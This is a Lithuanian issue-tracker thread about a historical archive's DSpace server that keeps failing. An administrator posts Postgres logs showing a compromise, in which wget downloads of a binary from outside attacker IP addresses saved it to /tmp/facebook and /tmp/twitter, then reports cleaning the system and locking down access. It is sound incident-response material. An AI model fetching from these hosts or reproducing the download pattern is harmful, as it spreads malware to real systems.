neveikia http://talpykla.istorija.lt/

[tkrilavicius]

vėl neveikia, ir gavau per galvą rimtai - nepatvirtino rezultatų

"Ataskaitoje nurodyta, kad sukurtą skaitmeninę bazę galima pažiūrėti adresu http://talpykla.istorija.lt/handle/123456789/221?locale-attribute=lt, bet tiek ši nuoroda, tiek ir serveris talpykla.istorija.lt veikia nestabiliai, pvz. vasario 7-9, 12 d. visiškai neveikė."

O dėl paieškos, tai man rodos, kad ten turėtų per visus laukus, ar ne? "Pavykus prisijungti prie sistemos, pastebėta, kad ji veikia nekokybiškai: paieška yra galima tik pagal raktinius žodžius, kurie yra pernelyg abstraktūs ir bendri daugeliui dokumentų, todėl tokios paieškos sistemos vertė abejotina. Nesuprantama, kodėl negalima paieška pagal leidinio redaktoriaus pavardę ir pan."

[marsav]

duplicate of #54 - Postgres DB saugumo skylių problema/exploitas

[marsav]

ps -e -o pid,vsz,comm= | sort -n -k 2
<...>
 2148  10316 nmbd
 2633  16016 winbindd
 3198  16016 winbindd
 2611  16840 winbindd
 3199  16840 winbindd
 1414  17128 postgres
 2171  19884 smbd
 2196  20304 smbd
 3117  23360 polkitd
 3050  29028 console-kit-dae
 2100  31024 rsyslogd
 1412  46624 postgres
16032  46624 postgres
 1411  46724 postgres
 1413  47344 postgres
24643 231244 apache2
24645 231244 apache2
 2944 635828 facebook
 7885 3114756 testproxy

[marsav]

Atitinkami logai postgress:

2016-01-19 11:32:46 EET LOG:  incomplete startup packet
2016-01-19 11:32:47 EET ERROR:  syntax error at or near "36367" at character 1
2016-01-19 11:32:47 EET STATEMENT:  36367
--2016-01-19 11:32:49--  http://193.85.186.50:23231/Farmm
Connecting to 193.85.186.50:23231... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1303748 (1.2M) [application/octet-stream]
Saving to: `/tmp/facebook'

     0K .......... .......... .......... .......... ..........  3%  310K 4s
    50K .......... .......... .......... .......... ..........  7%  562K 3s
   100K .......... .......... .......... .......... .......... 11% 1.12M 2s
   150K .......... .......... .......... .......... .......... 15%  560K 2s
   200K .......... .......... .......... .......... .......... 19% 1.11M 2s
   250K .......... .......... .......... .......... .......... 23%  611K 2s
   300K .......... .......... .......... .......... .......... 27%  610K 2s
   350K .......... .......... .......... .......... .......... 31% 1.01M 1s
   400K .......... .......... .......... .......... .......... 35%  612K 1s
   450K .......... .......... .......... .......... .......... 39% 1.08M 1s
   500K .......... .......... .......... .......... .......... 43%  620K 1s
   550K .......... .......... .......... .......... .......... 47%  608K 1s
   600K .......... .......... .......... .......... .......... 51% 1.04M 1s
   650K .......... .......... .......... .......... .......... 54%  625K 1s
   700K .......... .......... .......... .......... .......... 58% 1.05M 1s
   750K .......... .......... .......... .......... .......... 62%  615K 1s
   800K .......... .......... .......... .......... .......... 66% 1.08M 1s
   850K .......... .......... .......... .......... .......... 70% 2.44M 1s
   900K .......... .......... .......... .......... .......... 74% 1.73M 0s
   950K .......... .......... .......... .......... .......... 78% 3.23M 0s
  1000K .......... .......... .......... .......... .......... 82% 1.36M 0s
  1050K .......... .......... .......... .......... .......... 86% 3.71M 0s
  1100K .......... .......... .......... .......... .......... 90% 3.20M 0s
  1150K .......... .......... .......... .......... .......... 94% 3.10M 0s
  1200K .......... .......... .......... .......... .......... 98% 3.83M 0s
  1250K .......... .......... ...                             100% 3.02M=1.4s

2016-01-19 11:32:50 (914 KB/s) - `/tmp/facebook' saved [1303748/1303748]

2016-01-19 15:35:58 EET LOG:  unexpected EOF on client connection
2016-01-19 15:35:58 EET LOG:  unexpected EOF on client connection
2016-01-19 15:35:58 EET LOG:  unexpected EOF on client connection
2016-01-19 15:35:58 EET LOG:  unexpected EOF on client connection
2016-01-19 15:35:58 EET LOG:  unexpected EOF on client connection
2016-01-19 15:35:58 EET LOG:  unexpected EOF on client connection
2016-01-19 15:35:58 EET LOG:  unexpected EOF on client connection
<...>
016-01-19 15:35:58 EET LOG:  unexpected EOF on client connection
--2016-01-19 16:35:34--  http://192.168.5.105/amp.txt
Connecting to 192.168.5.105:80... failed: Connection timed out.
Retrying.

--2016-01-19 16:36:38--  (try: 2)  http://192.168.5.105/amp.txt
Connecting to 192.168.5.105:80... failed: Connection timed out.
Retrying.

--2016-01-19 16:37:43--  (try: 3)  http://192.168.5.105/amp.txt
Connecting to 192.168.5.105:80... failed: Connection timed out.
Retrying.

--2016-01-19 16:38:49--  (try: 4)  http://192.168.5.105/amp.txt
Connecting to 192.168.5.105:80... failed: Connection timed out.
Retrying.

--2016-01-19 16:39:57--  (try: 5)  http://192.168.5.105/amp.txt
Connecting to 192.168.5.105:80... failed: Connection timed out.
Retrying.

--2016-01-19 16:41:05--  (try: 6)  http://192.168.5.105/amp.txt
Connecting to 192.168.5.105:80... failed: Connection timed out.
Retrying.
<...>
2016-01-19 19:13:53 EET LOG:  incomplete startup packet
2016-01-19 19:13:54 EET ERROR:  syntax error at or near "36368" at character 1
2016-01-19 19:13:54 EET STATEMENT:  36368
--2016-01-19 19:13:56--  http://23.251.49.126:9998/Farmm
Connecting to 23.251.49.126:9998... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1303748 (1.2M) [application/octet-stream]
Saving to: `/tmp/twitter'

     0K .......... .......... .......... .......... ..........  3% 38.5K 32s
    50K .......... .......... .......... .......... ..........  7%  217K 18s
   100K .......... .......... .......... .......... .......... 11%  135K 14s
   150K .......... .......... .......... .......... .......... 15%  114K 13s
   200K .......... .......... .......... .......... .......... 19%  173K 11s
   250K .......... .......... .......... .......... .......... 23%  153K 10s
   300K .......... .......... .......... .......... .......... 27%  128K 9s
   350K .......... .......... .......... .......... .......... 31%  133K 8s
   400K .......... .......... .......... .......... .......... 35%  103K 8s
   450K .......... .......... .......... .......... .......... 39% 86.4K 7s
   500K .......... .......... .......... .......... .......... 43% 71.2K 7s
   550K .......... .......... .......... .......... .......... 47%  213K 6s
   600K .......... .......... .......... .......... .......... 51%  154K 6s
   650K .......... .......... .......... .......... .......... 54%  114K 5s
   700K .......... .......... .......... .......... .......... 58% 24.9K 6s
   750K .......... .......... .......... .......... .......... 62%  258K 5s
   800K .......... .......... .......... .......... .......... 66%  229K 4s
   850K .......... .......... .......... .......... .......... 70%  228K 4s
   900K .......... .......... .......... .......... .......... 74%  179K 3s
   950K .......... .......... .......... .......... .......... 78%  197K 3s
  1000K .......... .......... .......... .......... .......... 82%  202K 2s
  1050K .......... .......... .......... .......... .......... 86%  213K 2s
  1100K .......... .......... .......... .......... .......... 90%  177K 1s
  1150K .......... .......... .......... .......... .......... 94%  186K 1s
  1200K .......... .......... .......... .......... .......... 98%  139K 0s
  1250K .......... .......... ...                             100%  101K=11s

2016-01-19 19:14:09 (113 KB/s) - `/tmp/twitter' saved [1303748/1303748]

[marsav]

sistema išvalyta, taip pat sugriežtinau Postgres pasiekiamumą iš išorės

[tkrilavicius]

vėl neveikia

[marsav]

rinksim daugiau diagnostinės informacijos:

-Djava.awt.headless=true -Xms512m -Xmx2048m -Dfile.encoding=UTF-8 -Djavax.net.debug=ssl -XX:+DisableExplicitGC -XX:+HeapDumpOnOutOfMemoryError

plius, naudojam CATALINA_OPTS vietoj JAVA_OPTS

[marsav]

uždarau iki sekančio karto. tada turėsim daugiau diagnostinės informacijos

[marsav]

Related https://wiki.duraspace.org/display/DSDOC5x/Performance+Tuning+DSpace